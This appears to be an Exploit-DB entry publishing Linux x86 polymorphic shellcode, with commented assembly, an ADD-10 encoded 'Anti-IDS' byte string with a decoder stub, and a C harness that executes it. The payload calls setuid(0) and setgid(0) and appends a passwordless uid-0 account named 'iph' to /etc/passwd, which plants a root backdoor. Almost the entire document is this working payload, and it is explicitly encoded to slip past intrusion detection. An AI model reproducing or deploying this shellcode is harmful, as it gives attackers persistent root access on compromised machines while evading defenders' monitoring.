Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd + No Password + Polymorphic Shellcode

EDB-ID:

18294

CVE:

N/A




Platform:

Linux_x86

Date:

2011-12-31


/*
# Exploit Title: Linux/x86 Polymorphic ShellCode - setuid(0)+setgid(0)+add user 'iph' without password to /etc/passwd
# setuid() - setgid() - open() - write() - close() - exit()
# Date: 30/12/2011
# Author: pentesters.ir
# Tested on: Linux x86 - CentOS 6.0 - 2.6.32-71
# Website: http://pentesters.ir/
# Contact: Cru3l.b0y@gmail.com
# By: Cru3l.b0y
# iph::0:0:IPH:/root:/bin/bash
# This ShellCode is Anti-IDS
# Encode: ADD 10

"\xb0\x17"                  	// mov    $0x17,%al
"\x31\xdb"                  	// xor    %ebx,%ebx
"\xcd\x80"                  	// int    $0x80
"\xb0\x2e"                  	// mov    $0x2e,%al
"\x53"                      	// push   %ebx
"\xcd\x80"                  	// int    $0x80
"\x6a\x05"                   	// push   $0x5
"\x58"                   	    // pop    %eax
"\x31\xc9"                	    // xor    %ecx,%ecx
"\x51"                   	    // push   %ecx
"\x68\x73\x73\x77\x64"       	// push   $0x64777373
"\x68\x2f\x2f\x70\x61"       	// push   $0x61702f2f
"\x68\x2f\x65\x74\x63"       	// push   $0x6374652f
"\x89\xe3"                	    // mov    %esp,%ebx
"\x66\xb9\x01\x04"          	// mov    $0x401,%cx
"\xcd\x80"                  	// int    $0x80
"\x89\xc3"                  	// mov    %eax,%ebx
"\x6a\x04"                  	// push   $0x4
"\x58"                      	// pop    %eax
"\x31\xd2"                  	// xor    %edx,%edx
"\x52"                      	// push   %edx
"\x68\x62\x61\x73\x68"       	// push   $0x68736162
"\x68\x62\x69\x6e\x2f"       	// push   $0x2f6e6962
"\x68\x6f\x74\x3a\x2f"       	// push   $0x2f3a746f
"\x68\x3a\x2f\x72\x6f"       	// push   $0x6f722f3a
"\x68\x3a\x49\x50\x48"       	// push   $0x4850493a
"\x68\x3a\x30\x3a\x30"       	// push   $0x303a303a
"\x68\x69\x70\x68\x3a"       	// push   $0x3a687069
"\x89\xe1"               	    // mov    %esp,%ecx
"\x6a\x1c"                  	// push   $0x1c
"\x5a"                      	// pop    %edx
"\xcd\x80"                  	// int    $0x80
"\x6a\x06"                   	// push   $0x6
"\x58"                      	// pop    %eax
"\xcd\x80"                   	// int    $0x80
"\x6a\x01"                  	// push   $0x1
"\x58"                      	// pop    %eax
"\xcd\x80"                	    // int    $0x80
*/

// ##### ANTI IDS SHELLCODE #####

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char sc[] =
"\xeb\x11\x5e\x31\xc9\xb1\x64\x80\x6c\x0e\xff\x0a\x80\xe9"
"\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xba\x21\x3b\xe5"
"\xd7\x8a\xba\x38\x5d\xd7\x8a\x74\x0f\x62\x3b\xd3\x5b\x72"
"\x7d\x7d\x81\x6e\x72\x39\x39\x7a\x6b\x72\x39\x6f\x7e\x6d"
"\x93\xed\x70\xc3\x0b\x0e\xd7\x8a\x93\xcd\x74\x0e\x62\x3b"
"\xdc\x5c\x72\x6c\x6b\x7d\x72\x72\x6c\x73\x78\x39\x72\x79"
"\x7e\x44\x39\x72\x44\x39\x7c\x79\x72\x44\x53\x5a\x52\x72"
"\x44\x3a\x44\x3a\x72\x73\x7a\x72\x44\x93\xeb\x74\x26\x64"
"\xd7\x8a\x74\x10\x62\xd7\x8a\x74\x0b\x62\xd7\x8a";

int main()
{
	int (*fp)() = (int(*)())sc;
    	printf("bytes: %u\n", strlen(sc));
    	fp();
}